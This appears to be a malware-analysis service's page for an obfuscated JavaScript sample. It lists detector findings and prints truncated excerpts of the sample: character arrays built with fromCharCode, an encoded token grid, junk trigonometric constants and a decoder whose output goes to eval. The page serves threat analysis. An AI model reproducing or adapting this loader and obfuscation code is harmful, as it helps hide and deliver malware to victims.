20151216_7b1d0ed8dc17200ede2a2e963cc61f48.js

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression
SHA-25695f0e478b0a4cb5f9fdbd26e9a7d7d64fd964755d246a8c20bf177f2c6c4cbdb

Evidence

Builds characters with String.fromCharCode line 2
2:158… '0','5','"','E','j','m','L','.','#','r','7','i','0','X','m','G',String.fromCharCode(10),'n','O',')','N','9','W','J','t','(','E','/','V',String.fromCharCode(13),'p','-','t','F','(','.','<','7','W','o','o','N','?' …
XOR URL reconstruction call line 2
2:1846… 'e','Y','O','P','x','>','6','Z','g','@','e','k','[','3','J','(',String.fromCharCode(92),'j','-','R','3','B','g','<',']','(','^',';','W','Y','Y','+','_','s','.','1','s','G','<','`','P','=','2','A','g','a','l','i','b','U','A','#','6','U','c','F','d','I','g …
Calls JavaScript toString conversion method lines 4–10
4:44… sADiRM){sMgM=wLjjubCOYNapNoVew(jguVnKZJbbn,wlmaOYAMCCBPD);IEHIM=sMgM.toString(ENsADiRM);return IEHIM;}
5function BOztQKUprZrTlzo(pbSJfrxhkUtjUXpXv,MeaXGNppnWwPsuzBxlHcYuUFVAGInXRUyp,iMYMAFpSrAAjsemcnfdQDywqtzrXBOSXsoY){eval(pbSJfrxhkUtjUXpXv);}
6function fBltXqXiPHtWUTlphIeRnhwPFhpMDMOELeGolIoHhseuCHpumWVfxJ(TgOWATOCvTSgU,IgtMHnydDPLwBH){ return abvJDDc[sdINyYsH[kNOhI(TgOWATOCvTSgU[IgtMHnydDPLwBH],(3682+602)/153,(426+104)/53)]];}
7function BlFqvSL(FMIoaGPfwqJTCtqGOGFKXGqEcVGMoSEuFYPn) {return !UDPMLztGgYN(JSrWkNbUtYQEXyQ(FMIoaGPfwqJTCtqGOGFKXGqEcVGMoSEuFYPn)) && UmEIZDjlRTLA(FMIoaGPfwqJTCtqGOGFKXGqEcVGMoSEuFYPn);}
8function UDPMLztGgYN(XfsfouScPTVnui) {return isNaN(XfsfouScPTVnui);}
9function UmEIZDjlRTLA(XIAexpXiexyEr) {return isFinite(XIAexpXiexyEr);}
10function wLjjubCOYNapNoVew(SqtiZiPlwz,vbCwNCDqcm) {retur …
Dense indexed short-token grid lines 12–13
12:33… AQsyKum,ZZwefhrPOMl) {pijTmRcpDzxzht[CjgofZAQsyKum]=ZZwefhrPOMl;}
13var m = new Array();m[0]=[];m[0][0]='d';m[0][1]='a';m[0][2]='d';m[0][3]='a';m[0][4]='46';m[0][5]='3d';m[0][6]='42';m[0][7]='14';m[0][8]='49';m[0][9]='14';m[0][10]='25';m[0][11]='14';m[0][12]='16';m[0][13]='47';m[0][14]='3k';m[0][15]='3d';m[0][16]='44';m[0][17]='3g';m[0][18]='3l';m[0][19]='3g';m[0][20]='49';m[0][21]='3 …
Numeric sine-square obfuscation expression lines 19–22
19:30… ],m[4],m[5]];
20var bNSMObLTL=[];
21function afHzGZHUfSEbIGvaS(lwyJG){weBovxPNbyh= '';RoBNyXgLfcT=Math.round((Math.pow(Math.sin(944), 2) + Math.pow(Math.cos(944), 2) - 1));while(true){if (RoBNyXgLfcT >= (1258+386)/274){break;}bNSMObLTL[RoBNyXgLfcT]=Math.round((Math.pow(Math.sin(928), 2) + Math.pow(Math.cos(928), 2) - 1)); while(true) { if(bNSMObLTL[RoBNyXgLfcT] > lwyJG[RoBNyXgLfcT].length-(-38+100)/62) { break; } if (BlFqvSL(kNOhI(lwyJG[RoBNyXgLfcT][bNSMObLTL[RoBNyXgLfcT]],(-405+769)/13,(4593+417)/501))) {weBovxPNbyh += fBltXqXiPHtWUTlphIeRnhwPFhpMDMOELeGolIoHhseuCHpumWVfxJ([lwyJG[RoBNyXgLfcT][bNSMObLTL[RoBNyXgLfcT]]], Math.round((Math.pow(Math.sin(71), 2) + Math.pow(Math.cos(71), 2) - 1)));} bNSMObLTL[RoBNyXgLfcT]++;}RoBNyXgLfcT++;} return weBovxPNbyh}
22var iqBGtypYjbHiliZdnhgonanDjZWaFuYpu = 'ADkhzwagEgJOESqqSukMNWWVEUJYBUALFsLs';var GMTGxEISxRFFoBTNPfGXwbYftWXIeVST = 'acgIiYhpYWEcWrzMKsetMlEILzkqWdqfCZeu';BOztQKUprZrTlzo(afHzGZHUfSEbIGvaS(lwyJG),iqBGtypYjbHiliZdnhgonanDjZWaFuYpu,GMTGxEISxRFFoBTNPfGXwbYftWXIeVST);

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.